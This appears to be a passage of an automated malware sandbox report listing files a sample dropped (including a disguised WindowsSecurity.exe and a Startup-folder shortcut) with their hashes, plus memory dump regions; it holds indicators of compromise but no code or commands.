                                                                                                                              39e790bfe10abf55b74dfb3603df8fcf6b5e6edb

                                                                                                                              SHA256

                                                                                                                              911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8

                                                                                                                              SHA512

                                                                                                                              e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb

                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                              Filesize

                                                                                                                              944B

                                                                                                                              MD5

                                                                                                                              d16cb7038fb7c439b3942af46488e057

                                                                                                                              SHA1

                                                                                                                              264796cacf168ee8e0876ba768ae84b26c5f8cd8

                                                                                                                              SHA256

                                                                                                                              4c322a99e7222270eb1948071be327096f3f0c33bb57978536209a1f4d145106

                                                                                                                              SHA512

                                                                                                                              1a61315d4e73d9a0c58cfd2687346e92762c1579ab5a19f5a2adeda31ca72f5c152cb8ef47f7b75cd0d9ea9ef52a18c0311c769372f32a30367ac0afc14fce90

                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                              Filesize

                                                                                                                              944B

                                                                                                                              MD5

                                                                                                                              dbed6207e0d3208bd0ee26b6c99307e3

                                                                                                                              SHA1

                                                                                                                              facbc3806e7596b021efd6a475cd407058223703

                                                                                                                              SHA256

                                                                                                                              631632aac60e6815fb18144cce66425db89b75c1e9d2c4af46d9d5148b6f5f72

                                                                                                                              SHA512

                                                                                                                              a0fbe5b0d32f20ffe23aebf00b77d41159ed7c01b2302efa6e6a0cc61e4c008538f44d2cf8c7ab6c062317d1c5762eebedf0d9a06a7fdde112d231f0a27fff8e

                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                              Filesize

                                                                                                                              163KB

                                                                                                                              MD5

                                                                                                                              1a7d1b5d24ba30c4d3d5502295ab5e89

                                                                                                                              SHA1

                                                                                                                              2d5e69cf335605ba0a61f0bbecbea6fc06a42563

                                                                                                                              SHA256

                                                                                                                              b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

                                                                                                                              SHA512

                                                                                                                              859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yh2bybau.dur.ps1

                                                                                                                              Filesize

                                                                                                                              60B

                                                                                                                              MD5

                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                              SHA1

                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                              SHA256

                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                              SHA512

                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                            • C:\Users\Admin\AppData\Local\WindowsSecurity.exe

                                                                                                                              Filesize

                                                                                                                              440KB

                                                                                                                              MD5

                                                                                                                              0e9ccd796e251916133392539572a374

                                                                                                                              SHA1

                                                                                                                              eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

                                                                                                                              SHA256

                                                                                                                              c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

                                                                                                                              SHA512

                                                                                                                              e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.lnk

                                                                                                                              Filesize

                                                                                                                              1004B

                                                                                                                              MD5

                                                                                                                              249404f682b6109c962ecc6beba93c4d

                                                                                                                              SHA1

                                                                                                                              c55558f847796b7a09497f1170d6a8c6ad3d6429

                                                                                                                              SHA256

                                                                                                                              e32a173ca05c8e52bba83de2e941243fc33cb06614f77289c82e72923edbc530

                                                                                                                              SHA512

                                                                                                                              bfcaf7641ed449a7bf63e818565eaad3a8e1d71c7cbb6b8c5419c88dbf4fc36b11cdc15e21446b4d5f19c040b92bd0760b9edc18036a111378e2ab14308dbf0a

                                                                                                                            • memory/420-95-0x0000023B94C90000-0x0000023B94CBB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/464-91-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/464-90-0x0000027F70CB0000-0x0000027F70CDB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/464-84-0x0000027F70CB0000-0x0000027F70CDB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/624-49-0x000002DE59470000-0x000002DE59495000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              148KB

                                                                                                                            • memory/624-58-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/624-57-0x000002DE594A0000-0x000002DE594CB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/624-51-0x000002DE594A0000-0x000002DE594CB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/624-50-0x000002DE594A0000-0x000002DE594CB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/692-69-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/692-68-0x0000022FE0700000-0x0000022FE072B000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/692-62-0x0000022FE0700000-0x0000022FE072B000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/760-930-0x00007FF9EA6C3000-0x00007FF9EA6C5000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                            • memory/760-973-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/760-974-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/760-0-0x00007FF9EA6C3000-0x00007FF9EA6C5000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              8KB

                                                                                                                            • memory/760-1032-0x0000027C74DA0000-0x0000027C74DAC000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              48KB

                                                                                                                            • memory/760-17-0x0000027C74520000-0x0000027C74538000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              96KB

                                                                                                                            • memory/760-14-0x0000027C743B0000-0x0000027C74412000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              392KB

                                                                                                                            • memory/760-13-0x0000027C74300000-0x0000027C74308000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/760-12-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/760-11-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/760-10-0x00007FF9EA6C0000-0x00007FF9EB182000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              10.8MB

                                                                                                                            • memory/760-9-0x0000027C74320000-0x0000027C74342000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              136KB

                                                                                                                            • memory/1000-80-0x00007FF9CBAB0000-0x00007FF9CBAC0000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              64KB

                                                                                                                            • memory/1000-79-0x00000179D6790000-0x00000179D67BB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/1000-73-0x00000179D6790000-0x00000179D67BB000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              172KB

                                                                                                                            • memory/1976-36-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/1976-45-0x00007FFA0B6E0000-0x00007FFA0B79D000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              756KB

                                                                                                                            • memory/1976-44-0x00007FFA0BA20000-0x00007FFA0BC29000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              2.0MB

                                                                                                                            • memory/1976-46-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/1976-37-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/1976-41-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/1976-38-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/1976-39-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              32KB

                                                                                                                            • memory/2360-1017-0x000001C673840000-0x000001C673886000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              280KB

                                                                                                                            • memory/4988-35-0x00007FFA0B6E0000-0x00007FFA0B79D000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              756KB

                                                                                                                            • memory/4988-34-0x00007FFA0BA20000-0x00007FFA0BC29000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              2.0MB

                                                                                                                            • memory/4988-33-0x000002ADEE060000-0x000002ADEE08A000-memory.dmp

                                                                                                                              Filesize

                                                                                                                              168KB